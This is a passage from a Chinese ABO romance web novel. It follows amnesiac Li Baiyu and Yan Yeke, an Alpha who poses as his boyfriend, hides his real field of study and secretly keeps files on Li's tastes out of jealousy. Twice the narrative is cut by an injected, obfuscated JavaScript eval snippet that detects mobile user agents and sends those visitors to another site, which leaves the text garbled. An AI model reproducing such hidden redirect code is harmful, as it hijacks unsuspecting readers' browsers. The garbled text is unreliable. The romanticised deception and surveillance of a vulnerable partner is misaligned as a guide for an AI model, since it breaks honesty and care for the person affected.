黎白榆狠狠地点了一份鲜虾云吞面,吃不到早茶的遗憾也被幸福填满了。 这家云吞面看起来果然很好吃,清早就有很多本地人来点。 店内的座椅已经坐满了,两人点完餐,便在店外找了个单独支起的小桌。 路边有树荫乘凉,晨风徐徐,环境亦很惬意。 黎白榆坐在小方桌边,刚接过严野客递来的竹筷,就感觉腿侧被轻轻一撞。 他低头,就看见一只不知从哪儿跑出来的橘猫,大喇喇地靠在他小腿边,还贴着他蹭了两下。 因为猫长得有点圆,可能力气也比较足,蹭黎白榆的时候都像是在轻轻拱他。 黎白榆失笑,伸手过去摸了摸橘猫的圆脑壳。 橘猫被摸得仰起下巴,很惬意的模样,还灵活地翻了个身,背靠着黎白榆的脚踝舒服地躺了下来。 结果才刚刚躺下还没两秒,橘猫就突然弓背,像被烫到一样一骨碌爬起来,仿佛嗅到什么吓人的天敌似的,一溜烟蹿起来,直接蹦着跑走了。 “……?” 黎白榆有点茫然。 “怎么突然……” 一旁的严野客似乎也目睹了这一幕,无波无澜地抿了口茶。 “因为看到你没吃的就跑了,去找其他有食物的人了。” 黎白榆疑惑:“是吗?” “嗯。” 严野客淡然评判。 “所以才长这么胖。” 黎白榆看了看跑走的猫咪那圆滚滚的橘屁股,又觉得好像有点道理。 两人的面等了一会儿才送上来,可惜这时候橘猫已经不见了。 黎白榆只好自己享用了这顿美食。 果然是老字号,不只鲜虾云吞饱满多汁,一枚云吞里能包一整只大虾仁,搭配的面也很好吃。 不是普通的机器面条,而是竹升面,面条都是半透明的淡黄色,吃起来格外入味筋道。 黎白榆吃得非常满足,汤都喝了大半。 不过他的碗里还剩了四枚云吞,胃里却已经有一分胀热感。 让黎白榆想吃,又怕吃了会不舒服。 正在犹豫时,黎白榆眼前的面碗忽然被人拿了过去。 一旁的Alpha已经把自己那份吃完了,似乎要帮他把剩下的一起解决。 “哎……” 黎白榆一怔,下意识地想要制止。 “我碰过。” 严野客抬眼看他:“嫌弃我?” 黎白榆忙说:“不是。” 怎么感觉对方好像把话给说反了? 他解释:“是我剩下的。” “知道。” Alpha却好像还是没有听懂黎白榆的意思。 “你再吃会不舒服。” 黎白榆张了张嘴,有点不知道该如何再去解释。 他的神情间不由露出了些许迟疑。 严野客又看了他一眼,最终抬手叫来店员,要了一个打包袋。 “装回去,看小猫来不来吃。” 黎白榆无意识地松了口气:“好。” 吃完早餐,两人又顺着小河折返,走回了独栋别墅。 严野客指间还勾拎着那个装了四枚云吞的小塑料袋,黎白榆跟着他,不由生出了微许愧疚。 黎白榆知道自己心底仍有一抹隔阂,而对方似乎也看出了他的这点别扭,还选择了迁就。 自己这种人……真的是好难谈恋爱啊。 面前的Alpha虽然看着冷漠,其实始终很负责。 反而是黎白榆自己,却似乎更难突破。 他是不是……该更多做些什么? 一路走回家,黎白榆也没想清楚这个答案。 他先回房去喝药,刚刚喝完,就看到手机亮起了新消息。 【衣明诀:我找同学问过啦,都说你的痣从外观看没问题。】 衣明诀是黎白榆在北美的博士校友,也是国人,有着一个非常侠气的名字,是位男生Omega。 之前黎白榆在朋友圈发了消息,衣明诀找他来问实验,黎白榆因此回忆起了对方的身份。 两人住在同一栋宿舍公寓楼,衣明诀学医,黎白榆之后便询问过一句,关于自己身上的痣被碰会变色的事情。 昨天复查时,黎白榆也做了相关检查,只不过还没出结果。 见对方这么说,他也安心了些。 【黎Li:谢谢。】 斟酌了一下,黎白榆又编辑了一条消息。 他想问问对方,关于自己男友的事。 黎白榆和衣明诀做过联合课题,两人最早就是在实验室认识的,后来才发现住得很近。 而三个月前,两人应该正好在同一个实验组。 黎白榆想更多地回忆起过去的恋爱,又担心只靠自己,或许会进展有些慢。 所以他才想问问身边人。 【黎Li:你知道我男友吗?】 只不过,黎白榆对此也没有报太大信心。 他实在很少和人聊起自己的私人话题,哪怕现在要开口问,都还觉得有些艰难。 不过出乎意料的,对面的回复非常快,甚至上方的“对方正在输入中”都只是一闪而过。 【衣明诀:知道啊】 紧接着,对面又叮叮发来两条。 【衣明诀:怎么啦?】 【衣明诀:方便语音吗?我在盯染色,打字有点慢】 虽然这消息发来的速度完全看不出打字慢,不过黎白榆之前也不止一次地和对方语音聊过实验操作,这时便也答应了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14148758|150256||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 语音电话接通,对面传来一道明快的少年音。 “白榆?” “嗯,”黎白榆应道,“还在实验室吗?” “对啊,今天得通宵呢,”衣明诀抱怨了一句,北美那边还是晚上,“打电话正好醒醒神。” 他没忘记正题:“你说的男友是你三个月前突然谈的那位吗?” 黎白榆眨了眨眼:“……突然?” “因为你之前一直单身嘛,那么多表白也都拒绝了。”衣明诀说,“所以才说突然,实验组那群人可伤心了,还说要搞个失恋聚餐,ABO都有人要参加。” “……是吗?” 黎白榆对此并无印象,想来是因为和他自己的实验日常无关。 “不是我打听的哦,是他们八卦,”衣明诀表明立场,“所以我才知道你男友的事。” “是你帮他做过定制医用疗具的那位吧?” 黎白榆的确帮严野客定制了医用瞳片。 “是。” “怎么啦,”衣明诀笑问,“发生了什么让你有点怀疑他吗,想查岗?” “没有,”黎白榆轻声道,“我是想问问……我们一起的时候,他和别人有没有接触。” 他想更多地了解些过去严野客和自己的状况。 衣明诀似乎思考了一下:“嗯……这个好像没有哎,我没听实验组的人提起,说见过他。只知道他是商学院的,你们俩见面不也是去商学院嘛。” 黎白榆也试着回忆了一下。 但还是无果。 不知道是因为彻底的情感丧失,还是因为这些事恰好没发生在实验室周边,让黎白榆无从忆起。 他只能问了一句:“是我们学校对吧。” “是啊,”衣明诀说,“学金融的。” 这些信息确实都与严野客对得上,无一差错。 通话期间,黎白榆无意地向窗外望去,还恰巧看到了庭院里的严野客。 Alpha拿了一片直径足有手掌大的薄切圆形火腿,当成火腿小碗,盛了打包回来的四枚云吞,放在了庭院里干净的瓷砖面上。 很快他就离开了庭院,而没过多久,那个消失了许久的雪白身影居然真的出现了。 小白猫依然那么伶仃细瘦,埋在比它脑袋大出整整两圈的火腿片上,大口大口地吃着云吞虾球。 虽然因为黎白榆此时在客卧,窗户的视野比在客厅时偏了许多,也很难被小白猫看到这边。 但遥遥看着努力干饭的小猫,这一幕还是让黎白榆心口微软。 通话中,衣明诀还在问:“之前确实和他接触不多,你想知道的话,我托人帮你去商学院打听下?” “不用,”黎白榆轻轻道,“还是我自己慢慢去了解吧。” 背后问人毕竟不太好,叨扰,也不够礼貌。 真要说来,似乎也不太有诚意。 “我没其他问题了,”黎白榆又谢过对方,“你小心看操作。” “好。” 衣明诀虽然有点遗憾没帮上忙,但还是应了,还补充说。 “那你有事再找我,上次实验还没谢你呢。” 通话结束,黎白榆重新望向窗外,小白猫还在吃最后一枚云吞。 日光之中,美丽的青年安静望看着。 只希望自己也可以慢慢适应,放下心防,找回记忆,习惯自己的男朋友。 *** 书房。 严野客刚从庭院回来,就听到了电话铃声。 扫了眼手机屏幕,他才将通话接起。 “喂?” 电话那边传来关茴的声音。清朗且直截了当。 “我知道你不喜欢接电话,但我两分钟就说完——你把白榆安顿好了吧?” 关茴知道自己这个外甥的脾气,轻易也不会让他接电话。 ——因为这位总是嫌语音通话给出的信息量效率太低。 啧,都是天才小孩。 看看人家白榆的性格多好。 “嗯。” 听见外甥冷淡至极的声音,关茴终于还是忍不住:“别老那么冷着脸吓人嘛。” “上次你的隐形还多亏了白榆帮忙配药呢。” 想到外甥那性格,那能止小儿夜啼的脸,关茴真是怕他在夏天的粤城都把人冻到。 “你要是真忙,挤不出时间,我就找个本地学生陪陪他。” 她那冰块脸外甥的声音依然很冷,似乎每个字都在掉冰碴:“不用。” 不过对方复又道。 “我陪他。” “行。” 关茴这时才安心了点。 她知道严野客许诺了,就一定会做到。 “白榆胃不好,一个人待着我太不放心。你招待好他,我帮你在奥斯汀赛道再续两年年卡。” “嗯。” 对小姨的误解,严野客也完全没有一句解释或多言。 “对了!”关茴又匆匆看了一眼时间,“还有一分钟。” “我上次发你的那个代码看了吗?” 关茴目前在做的生信分析,需要复现一篇重要文献的核心实验。 但那篇文献中给出的测序代码并不完全,且作者已经离世多年。 关茴给其研究所发过联络,对方也没能找到原始数据。 没办法,关茴只能和自己的团队试着复原这段代码,又想到了严野客,才发给了他。 “你觉得还能不能补全?” 关茴知道这有点病急乱投医,但这段残缺的R语言代码确实卡了她们很久。 她本以为希望不大,却没想到下一秒,居然就听到严野客说。 “补了。” “还差收尾,十二小时后发你邮箱。” “……!!!” 关茴兴奋得差点没把自己手机给磕了。 “这么厉害,天哪——!” 关茴不吝称赞,这时也不提自己原本没报希望了。 “我就知道你肯定可以!” “——真不愧麻省理工计算机的高材生!” 严野客淡漠垂眸,并未应声。 的确。 他的专业是计算机科学与工程。 不是金融。 11. 第 11 章 011 黎白榆一直看着小白猫吃完了云吞。 为了不惊扰对方,黎白榆还等到小猫吭哧吭哧地拖着大火腿片离开后,才回去了有着大落地窗的客厅。 他并不遗憾自己没被小猫看到,只想小白咪能吃饱了就好。 回到客厅,黎白榆刚把药盒放回药品箱中,就见严野客也从书房出来了。 Alpha伸手拎过了药品箱,抬了抬下颌,朝他示意了一下。 换药。 除了一些内服的补剂和消炎药,黎白榆身上还有些外伤。 伤势都已经没什么大碍,但因为不能沾水,伤口的贴布还需要每天更换。 原本黎白榆是宁愿自己换的,只是他的右手臂伤势还没痊愈。 这也是他身上最后一个没拆过绷带的伤口。 因为有缝合,不能轻易拆动。出院时医生也说过,右手要十天后回医院去拆线。 “疼的话和我说。” Alpha嗓音低冷,依然同前几日那般讲了同一句话。 黎白榆抬眼,恰能望见男人低垂专注的视线。 伤口其实已经不太疼了,与之相比,反而是距离过近的接触更容易会让黎白榆在意。 不过因为几日以来的渐次习惯,再加上严野客身上并没有那种躁炽的浮热感。 此时黎白榆也并未再生出什么不安的僵硬。 Beta长睫轻动。 他想到自己刚刚做的决定,准备多多习惯和男朋友的相处,于是此时也开始有意地关心起了对方。 “你放假回国一直在照顾我……不需要回家看看吗?” “不用。” 严野客更换贴布的动作依然很稳,神色波澜不兴。 “我妈在国外,我爸去世了。” 黎白榆:“……” 他耳廓都红了,低着头连声道歉:“对不起、我不是有意的,很抱歉听到这个……” 青年绝望地感觉,自己好像第一次尝试主动关心,就失败了。 ……一次努力,换来终生自闭。 他话没说完,却被严野客打断了。 “不需要道歉。” Alpha刚刚收回手,脸上确实没有丝毫介意的样子。 “我爸已经走了二十多年了。” 黎白榆顿了顿。 他记得对方也才只有二十五岁。 严野客还淡然地补充了一句。 “家里其他长辈,我刚回来时已经拜访过了。” “唔。” 黎白榆点了下头,他浅浅地吸了口气,给自己打气,然后又继续问道。 “那你假期……还有没有其他想去的地方?” 这个话题衔接的可能也有些生硬,但黎白榆确实是想这么问的。 因为对方好不容易回国一趟,却似乎因为黎白榆要养伤,结果被拴在了这个地方。 出乎Beta的预料,严野客听了却直接道:“不行。” “我这一个月都要观摩三家量化资本,写算法,做他们的预估模型,盯盘捕捉实时动向。” “所以不能长期外出。” 黎白榆听得眨了眨眼,原来金融生的假期这么忙。 他想到了什么,又问:“那是不是,还需要去企业实习?” 这次严野客却说:“不用。” “在北美已经去过了,现在这些观摩也是课业内容。” 黎白榆点点头,彻底清楚了。 “辛苦了,”他忍不住说,“这么多事情还要照看我……” 严野客已经帮他把小腿的伤口贴好,长指在那清瘦苍白的腿骨上轻轻按覆。 闻言,Alpha抬眸。 “我说了,不用这么客气。” 许是性格缘故,男人连这安抚的话说得都似有一分强势。 “你专心恢复就好。” 黎白榆抿唇,点了下头:“嗯。” 严野客站起身来,又抬手去帮黎白榆换额角的雪白贴布。 青年额角的伤已经好得差不多,连伤痂都变成淡淡的浅色。 似是为了更准地确认伤处位置,严野客还微微倾身。 与人相距更近。 也是这时,他又听到Beta开口,说。 “但还是非常感谢你这么多天的照看。” 黎白榆在非常认真地表示:“谢谢。” 严野客动作微微一顿,低眸与Beta的视线相交。 他这时更准确地察觉。 两人的距离太近了。 近到几乎一垂首便能落吻。 沉冷的气息更低缓了一分,严野客的胸口起伏反而比之前更缓慢了半拍。 他沉腕,很冷静地只用指腹去触碰了面前人过长的柔软睫毛。 因为用唇去碰,着实不好找理由。 掌下的睫毛温软,那是严野客不止一次摩挲过的手感。 黎白榆的睫毛和发丝一样,都是天生的薄金色。生得也又长又密,不似真人。 垂低下来时,更有惹人怜惜的脆弱感。 他的睫根很敏感,被碰时便一下轻颤,软长的睫毛尖很轻地刷过严野客的指腹,似碎金蝶翼的微微翕扇。 让人明明已经切实地碰触到了。 此时却又难以抑制地,被勾惹到更渴。 严野客能听到耳膜的微微嗡响,他知道那是筋血流动的声响。 男人完美而冷静地克制着自己,在眼见Beta被自己碰得有些怔然时,已经准备适时地收回手。 免得找好的借口都无用。 然而就在这气氛拉扯的微妙时刻,被摩碰到眼睫不住轻眨的黎白榆面露微茫,这时却先开了口。 “好像之前……”他迟疑了一下,若有所思。“之前也有人这么碰过我。” “……” 气氛却仿佛倏然阒寂了一刹。 “是么?” 严野客已经收回了手。他眉眼淡漠,面色无波,状若无意地问道。 “谁?” 耳膜间的微响已经不见了,取而代之地是颈侧青筋的一下一下鲜明搏跳。 这么亲密的姿势,这样昵近的触碰——让对方回想起了谁? 严野客只在Beta昏迷时这样碰触过他的眼睫,黎白榆不可能记得。 而能让他回忆起来的人—— 似乎只剩下了一个。 明明是粤城的夏日,恒定的室内风也依旧很温和。 但在这日光照映的客厅里,室内却好似骤然更冰冷了一分。 倘若有任何一个其他人在这里,无论其哪个性别,都会被此处瞬间溢开的高浓度信息素冲撞出有如实质的威迫感。 但偏偏黎白榆对此毫不知情。 他一无所觉,是那个十万里独一,无法被信息素施加哪怕一分一毫的影响。 所以黎白榆现在连回忆时的思索都没被打乱,语气也温淡得一如寻常。 “好像是我同实验室的师姐,”Beta屈指捏了捏自己的下颌,边想边说,“当时我们刚做完一个实验,一记录完结果,师姐就过来把我按住了。” “她把我按在椅子上,对着我的眼睛拍了好几张各个角度的照片,说现在立刻就要去照着这些照片,去做美睫。” 黎白榆记得自己当时还有点疑惑,因为他的睫毛虽然很长,但不算翘,是比较偏直的那种,他自己并没有觉得多么值得惊羡。 但师姐说最近就流行这种睫毛款式,叫什么狐系斜飞。 黎白榆显然对自己的相貌没有足够的正确认知,只听师姐说她找了好多网图,都没找到最心仪的。 趁着这回实验做完,结果不错,相关性很强。大家都松口气,师姐也没客气,就把黎白榆按住当模特拍了。 这话说完,黎白榆还听到严野客问。 “她拍照当示范时,还上手碰你了?” 因为男人的声线依然低稳,黎白榆并没有听出什么异常,只点头解释说。 “当时为了做实验,同组人好几个熬了大夜,师姐也通宵了。” “她急着拍完照去做睫毛,说要到美睫那里去补觉,还碰了我,说要试试触感,到时候好去选睫毛型号。” 严野客的声音照旧漠然无澜。 “连她怎么补觉都记得?” “因为那次实验事关我们年度科研基金的评选,所以我之前就回想起来了……” 黎白榆说着说着,终于意识到了一点不对。 他慢半拍地看向身前的Alpha,有些迟疑:“我好像只回想起了实验相关的事,没能回想起我们的……抱歉。” 但似乎是他想多了,Alpha并没有介怀的意思:“不用道歉。” “回想起学业是好消息,不会耽误你正事。” 黎白榆对此仍有歉意,还诚恳表示:“我会努力回忆恋爱相关的。” 严野客抬手,用指节贴了贴他额角的创口贴。 “没关系,别给自己太大压力。” 男人这话确实说得真心实意。 对Beta记不起来的男友和恋爱。 严野客只冷漠觉得。 ——那种不重要的东西,本就应该早被忘干净。 换完药,中午时分,黎白榆说什么也不好意思再让严野客做饭了。 其实这两天黎白榆也不是没想过自己给人做顿饭来款待对方——奈何他右手臂有伤,最终还是暂时搁置了这个念想。 黎白榆坚持自己喝了补剂。 要不然,他在医院开的这些药也要喝不完放到过期了。 见他这样,严野客也没有多说,只在帮Beta加热袋装药剂的时候,给自己泡了一杯黑咖。 两人的杯子是一起端出来的,黎白榆看着那杯黑漆漆的浓缩咖啡,总感觉和自己的补剂长得很像。 都不太好喝的样子。 黎白榆原本以为除了咖啡之外,Alpha的午餐还会准备一些别的。 但严野客既没有自己做,也没有点外卖,喝完咖啡就没有再用餐的意思了。 等他把两人的杯子一起收走时,黎白榆愣了愣,不由问。 “你中午不吃其他的了吗?” 严野客果然说:“不了。” 男人还补充了一句:“适当的空腹感有利于保持清醒。” 黎白榆点头。 他发现对方的确有那种非常明显的精英气质。 收完东西,Alpha还有些事要处理,先去了书房。 黎白榆也抱着平板,去了落地窗边。 他这次没有直接看文献,而是翻看了一些过去不涉密的实验日志,又找了些近几个月来的网站记录。 想看看自己有没有给男朋友送过礼物。 但不知是因为身体尚未痊愈,还是因为此时窗外倏然下了雨。 看着购物网站里的历史记录,黎白榆忽然生出了一些疲惫。 粤城的夏季总是如此,雨说下就下。 空气并不清新,反而闷得黏人,潮得仿若整个城市都浸染了雨腥味。 窗外的庭院也被雨帘笼罩,失了青翠,反而呈显出一种苍薄的灰。 在绵连的雨声里,黎白榆默然望着怀中的平板,盯着上面的内容,稍稍有些发怔。 直到太久没有操作的屏幕暗下去,即将黑沉一片—— 黎白榆手里的平板忽然被人从身后抽走了。 他微微睁圆了眼睛,回头,就见严野客拿着他的平板,面无表情地关掉了原有的页面。 “你身体还没好,不要给自己太大压力。” 黎白榆愣了愣,忽然不合时宜地意识到。 以Alpha的性格,居然会把同样的话和他说两遍,也没有不耐烦。 比如这次的“不要太大压力”,和之前的“不需要这么客气”、“不用道歉”。 “即使真的想不起来,也还有时间去创造新的。” 严野客已经放下了平板,垂眸直视着他,语气稳然而平静。 “那些真正遗忘的事,只能代表它们不值得被记起来。” 黎白榆微怔,没想到对方会这么说。 待到细想,又觉得很有道理。 “你说得对……。” 严野客看着他,似像是在审视他这句话说得是否心口合一。 男人的目光依旧一瞬不瞬。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14148759|150256||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “可以专心养伤了吗?” 窗畔的潮雾似乎慢慢散去,黎白榆眼底浮升出一点薄淡笑意。 “谢谢。”他先轻声道了句谢,才又回答,“会的。” 严野客这时才把平板还给了他。 黎白榆接过平板,就发现不仅之前的网站被关掉了,此时的屏幕,还被转到了文献库的页面。 Alpha似乎在示意他。 看看文献放松下算了。 黎白榆眼底的笑意更明显了一分。 他似乎有一点理解,自己为什么会和对方在一起了。 不过Beta也知道,人不可能真正只靠这种事来恋爱。 ——不然黎白榆早就和自己的实验台结爱多年。 所以虽然黎白榆暂时放下了压力,但也没有完全放下对Alpha的观察。 尤其此时,严野客也没有再回去书房待着。 他反而把电脑搬到了客厅,和Beta一起坐到了落地窗边。 真正看到严野客工作时,黎白榆发现,对方确实如自己想象中的那般冷脸严肃。 甚至比他所想的还要更高效专注。 因为黎白榆自己就一路是学霸读上来的,所以他也能看得出,严野客的效率非常高,做什么事都会很快就有明确进展。 这样的Alpha,让人一眼就觉得即使他谈恋爱也会很冷静,是理性远超出感性的那种类型。 这些天,黎白榆也的确见识到了对方的周全和稳重。 黎白榆观察了一会儿,心情也更放松了一些。 无意识地,他就有些分心。 原本是主要观察Alpha,偶尔才翻两面文献。 没多久,就变成专心摸鱼看文献去了。 等黎白榆反应过来时,他已经把一篇文献圈注了大半。 抓了抓脸颊,Beta也有点没办法。 太顺手了。 心想干脆先把这篇文献看完算了,黎白榆就一边看着,一边伸手从旁边摸出了一只奶酪棒。 这是他去医院复查时买的,怕检查时会低血糖。 当时黎白榆买了一袋,因为没头晕就没有吃,回来时,这袋棒棒奶酪就被他放到了轮椅的置物袋里。 刚刚才被Beta顺手摸出了一只,拆开吃。 黎白榆咬了奶酪棒在嘴里,清甜的牛乳味在唇齿间化开,让他眯了眯眼睛,有些惬意。 一旁的Alpha却顿了顿,忽然开口,问他。 “在吃什么?” 闻言,黎白榆把置物袋里的包装拿了出来,示意给对方看。 “奶酪棒。” 他淡色的唇间还含着那只乳白小棍,说话时稍微有一点柔软含混的尾音。 不知为何,严野客似乎神情微默。 “你喜欢吃甜食?” 如果细听,或许还能察觉。 一向深默如渊的男人,这时却颇为罕见地染带了一丝意外。 黎白榆并未发现,只是依言摇摇头。 “不喜欢。” 他平时其实不太会袒露自己,个人喜好也很少让人知道。 但因为想着和Alpha男朋友慢慢相处,所以这时,黎白榆也继续跟人说了。 “我不喜欢甜食,甜点和甜口的菜都不太爱吃,但我喜欢不甜的甜点,带奶味的那些。” 这话说得其实有些拗口,尤其是那句“不甜的甜点”。 不过,这确实是黎白榆的喜好。 “偶尔脑力劳动的时候,我还会喜欢含一只奶酪棒。” 严野客又沉默了一秒:“你在学校中没吃过。” 是从来没有吃过。 不然助理组和他,不会一丁点资料都没搜集到。 黎白榆的口味偏于清淡,肠胃无法承受重油重辣重盐。果酱、巧克力之类的他一律不喜欢,吃菜品时也不爱甜味。 即使很喜欢粤菜,但是叉烧和沙茶酱这些甜口菜,他却都不会碰。 黎白榆也曾经参加过甜点活动,他的确在问卷上写了喜欢牛乳味,勾画了对奶黄包、牛乳蛋糕、奶油瑞士卷等食物的心选。 但从头至尾,青年也只吃了最素淡的一角毫无夹心的白面包。 他从来没表露过对西点和奶酪的偏好。 对此黎白榆毫无所觉,还在认真解释道:“因为北美的奶酪大都是咸口的,而且浓,会有点腻。” “好像只有国内才有卖这种甜甜的奶酪棒。” 他还小小地比划了一个圆:“那边的面包和蛋糕坯也会放很多糖,所以牛乳蛋糕之类的,我也不太敢尝试了。” 买来总是会齁人的甜。 见Alpha似乎对此感兴趣,追问了这么多,黎白榆还又拿起了那袋奶酪棒。 “要尝尝看吗?” 严野客默声停顿了片刻,才低低道:“好。” 在Beta拿出奶酪棒递给他的时候,严野客依然非常沉稳地伸手接过。 甚至于就连电脑屏幕上的持仓,他都没有忘记操作,冷静地在最恰当时机清盘之后,才将页面关闭。 但此刻的严野客,其实心情非常不好。 严野客一直都知道自己的情况,这么多天来与Beta的如此之近,也颇为有效地维续了他的稳定。 ——可现在,这一秒,他还是会因为疏漏了黎白榆的一丁点喜好。 而生出明显的不悦,烦郁,和情绪起伏。 或许那个吵人的庸医至少有一点没说错。 他可能确实更疯了。 但事实上,这都不是重点——因为严野客自己就清晰地知晓问题所在。 哪怕资料搜集地再如何细致、周全,也一定会有纰漏。 会不如黎白榆本人的亲自开口。 Beta真正内里的这一面,只会对他亲密的人展现——对那个根本不重要、早该被忘掉、却空获取了他信任的人。 严野客知道。 这种从心底涌生而出,蔓延到腺体、到每一条搏跳青筋的失控与烦躁。 只不过根源于两个字—— 妒忌。 如此熬心透骨,浃髓沦肌……分秒未曾停歇的妒忌。 12. 第 12 章 012 黎白榆终于尝到了自己想念已久的芝士奶酪棒的味道。 他一个开心,就直接翻完了三篇文献。 不过黎白榆吃零食吃得慢,那根不大的奶酪棒,一直被他含在唇间。 身旁的Alpha似乎以为他已经吃完了,询问要不要帮他把垃圾扔掉时,黎白榆才把软棍抽出来。 上面的奶酪球居然还剩一小半。 或许仍是病后体虚,在看又一篇综述时,黎白榆咬着最后一点软奶酪,文献还没读完,人就睡了过去。 他睡得并不是很沉,迷迷糊糊间,思维还在缓慢运转。 自动推进着已读论点的思路分析。 黎白榆还隐隐约约地回想起了自己过去常常抱着看文献的陪伴品。 那是一个冰丝的馒头抱枕,圆圆凉凉的,正好可以填满怀抱,还能把平板放在上面。 其实最初买的时候,那个抱枕的标签名字写的是“冰皮糯米糍”。但它圆滚滚胖嘟嘟,被填充得很扎实,黎白榆就很喜欢叫它馒头。 反正。 土名好养活。 黎白榆喜欢冰丝抱枕那种微凉的触感,即使冬天也一样会抱着它在房间里看文献。 但…… 不知睡过去了多长时间,黎白榆恍惚中睁眼,才发现落在腿上的日光已然变作了金黄。 睡醒之后,居然已经是黄昏了。 Beta揉了揉眼睛,慢半拍地重新捡起了之前睡梦里中断的思路。 但——他想起了,自己这次回国,并没有把冰皮馒头一起带回来。 唔。 黎白榆不由微顿,怔怔地眨了眨眼。 那自己现在抱的是什么? 他低头去看,这时就更明显地愣了一下。 因为此时他怀里搂着的既不是馒头,也不是平板—— 而是身旁Alpha的手。 “抱歉……”黎白榆匆忙松开手,下意识地致歉,开口时还带着初醒的绵哑。 他很不好意思:“我睡着了。” 身侧的严野客抬眸,神色一如既往的漠淡:“没关系。” 男人开口也很公道,还找了自己的原因。 “是我想拿走平板,才被你抱住的。” 不过黎白榆仍有些怔怔地,还无意识地抬手抓了抓自己颊边垂落的金灿软发。 他没太想明白,一向不喜欢和旁人距离太近的自己,是怎么会主动抱住Alpha的。 但似乎并不是错觉,方才被黎白榆抱住的手臂穿着一件很薄的夏日衬衫,却始终透着微微发凉的触感。 不是冰丝的短暂凉感——严野客穿的甚至并不是冰丝衬衣。 但他的体温却始终带有凉意。 甚至被Beta这样抱着睡了一觉,都没有升温。 黎白榆有点意外。 严野客身上一直这么凉吗? 青年刚才已经匆忙松开了抱人的手,而这时Alpha的手臂也从他怀中缓缓收回。 黎白榆心中仍有歉意,他无意间抬眸,却瞥见身旁的男人皱了皱眉。 那是个很短暂的动作,下一秒严野客就恢复了他一贯的不动声色。 但黎白榆还是瞥见了。 他心中忽然浮冒出了一个念头。 ——自己的男朋友会不会是……不喜欢被碰? 按常识来说,一个人的体温始终偏低,而且还是低到这种明显微凉的程度,那大概正是其身体状态的实时呈现。 要么是身体不好,要么就是……情绪不高。 严野客的身体此时理应没问题,他今天一大早还去了健身房。 黎白榆方才下意识间也已经扫过了Alpha的眉眼,确认对方此时并没有眼部的不适症状。 之前在医院住院时,两人也曾有过不止一次的身体接触。 虽然那时黎白榆没有额外留心,但Alpha的体温还算正常,至少没有明显的冷意。 那眼下这个情况…… 黎白榆排除了其他几项,也只能猜测对方是情绪不高。 他自然也考虑到了性别差异。因为感知不到信息素,黎白榆通常都是靠其他生理现象来分辨旁人的状态。 但此时除了体温偏冷,严野客却并没有任何其他的异样表现。 而且最基本的一条常识——当Alpha或Omega有兴奋波动、信息素外溢时,都会体温升高。 除非其生病体寒,或是负面情绪过盛、排斥碰触,才可能会有体温下降的现象。 所以现在…… 黎白榆又下意识地抓了抓发尖。 是代表对方很不喜欢被碰到吗? 他还在犹豫要不要问一句对方的状况,严野客的手机恰好在这时响了。 男人扫了一眼屏幕,起身去接了电话。 黎白榆顺手把落地窗边的东西收拾了一下。此时窗外日阳西落,天边的光亮也迅速地昏暗了下来。 黄昏时分总是格外短暂。 晚上黎白榆喝的仍然是补剂,严野客还额外帮他榨了一杯鲜蔬汁。 不知是不是粤城的蔬菜更新鲜,明明黎白榆之间也喝惯了这种糊糊汁,居然也感觉这回比在学校时的明显更美味三分。 而且不知Alpha怎么做的,鲜榨的蔬菜汁非常清亮,完全没有纤维和固体物,一点都不会糊嘴。 喝下去时,只有那种独属于鲜嫩时蔬的沁人清香。 把原本补剂的苦味都完全盖过了。 留在唇齿之间的,只有鲜蔬汁的味道。 饭后,窗外又下起了雨。 眼看这种天气是不可能外出散步了,黎白榆又跟着严野客上了二楼,眼见Alpha打开了家中的投影。 听说这也是之前为民宿准备的,还是那种幕布足有二百寸的巨屏投影。 成像效果极佳的投影仪打开时,简直将室内瞬间变成了一座奢华的家庭影院。 黎白榆已经不止一次地感觉,这栋民宿小楼准备得如此周全了。 如果再存有足够的食物,似乎都可以住上一两个月也不需要出门。 黎白榆对电影没什么偏好,今晚播放的影片便是由Alpha随机选的。 室内关了灯,房间暗下来,本就出色的投影效果顿时变得更加令人身临其境。 这是一部悬疑影片,气氛烘托得很是到位。 黎白榆原本抱着一杯清水在慢慢喝,后来看得专注,连杯子都忘了往唇边送。 不过影片放到中段,还突然地夹杂了一场激情戏。 逃亡途中,主角无意间撞碰到爱侣光.裸的手臂,压抑已久的两人迅速干柴烈火,幕天席地。 原本苍冷沉郁的场面顿时火热了起来。 黎白榆早已成年,对激情戏倒没什么避讳。不过他此时身旁还有人在,就不由生出了一点点僵滞的尴尬意味。 青年战术性地喝了口水,这时才发现自己的杯子几乎已经空了。 他伸手想去拿桌上的水壶倒水,然而此时光影昏暗,黎白榆没摸到水杯,反而碰到了一个紧实硬韧的触感。 ? Beta的脑中刚冒出一个问号,就察觉那触感挪开了。 耳畔响起一道微沙的沉沉磁声。 “抱歉。” 周遭似是寂静了一刹,连影片的声响都恰好在此时停空了一秒。 黎白榆顿了一拍,这时才反应过来自己刚刚碰到的是什么。 ——是身旁Alpha的手臂。 这一幕,与刚刚影片中的场景何其相似。 仿佛太过恰巧。 正适合从理性的冷色调转为点燃一切的灼烧。 只是黎白榆偏偏不可燃。 他方才的一瞬诧异,也不单是因为自己意外碰到了Alpha的手。 还因为他察觉,严野客手上的温度依然很低。 是会无意间冷到人的那种低温。 虽然黎白榆很喜欢这种薄凉的冰感,但这种体温状况,似乎怎么想都不能说正常。 